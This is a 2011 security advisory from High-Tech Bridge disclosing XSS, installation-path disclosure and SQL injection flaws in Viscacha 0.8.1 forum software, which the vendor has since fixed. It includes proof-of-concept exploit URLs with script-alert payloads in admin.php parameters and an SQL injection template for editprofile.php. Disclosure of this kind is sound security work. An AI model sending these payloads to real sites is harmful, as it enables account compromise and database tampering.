Multiple Vulnerabilities in Viscacha

Advisory ID:HTB22919
Product:Viscacha
Vendor:MaMo Net
Vulnerable Versions:0.8.1 and probably prior
Tested Version:0.8.1
Advisory Publication:March 24, 2011 [without technical details]
Vendor Notification:March 24, 2011
Public Disclosure:April 7, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Information Exposure Through Externally-generated Error Message [CWE-211]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Viscacha which could be exploited to perform cross-site scripting attacks and disclose potentially sensitive information.

1) Cross-site scripting (XSS) vulnerabilities in Viscacha
1.1 The vulnerability exists due to input sanitation error in multiple parameters in admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://[host]/admin.php?action=designs&job=templates_file_history&file=<scri pt>alert("XSS");</script >
http://[host]/admin.php?action=designs&job=templates_file_revert&dir="<sc ript>alert("XSS");</scri pt>
http://[host]/admin.php?action=designs&job=templates_file_edit2&dir="<s cript>alert("XSS");</scr ipt>
http://[host]/admin.php?action=designs&job=templates_file_delete&dir=" <script>alert("XSS");</s cript>
http://[host]/admin.php?action=explorer&job=newdir&path="<script>ale rt("XSS");</script>
htt p://[host]//admin.php?action=explorer&job=chmod&path="<script>alert("XSS");< /script>


2) Installation path disclosure weakness in Viscacha
The weakness exists due to application reveals the full path to installation directory in an error message. A remote attacker can directly access the editprofile.php script and gain knowledge of the web root directory and other potentially sensitive information.
Exploitation example:
http://[host]/editprofile.php?action=addabo
http://[host]/editprofile.php?a ction=removeabo


3) SQL injection vulnerability in Viscacha
The vulnerability exists due to input sanitation error in URL in editprofile.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://[host]/editprofile.php?action=abos2&digest[1'SQL_CODE_HERE]=1

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Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22919 - https://www.immuniweb.com/advisory/HTB22919 - Multiple Vulnerabilities in Viscacha
[2] Viscacha - viscacha.org - Viscacha is a free bulletin board system with an integrated content management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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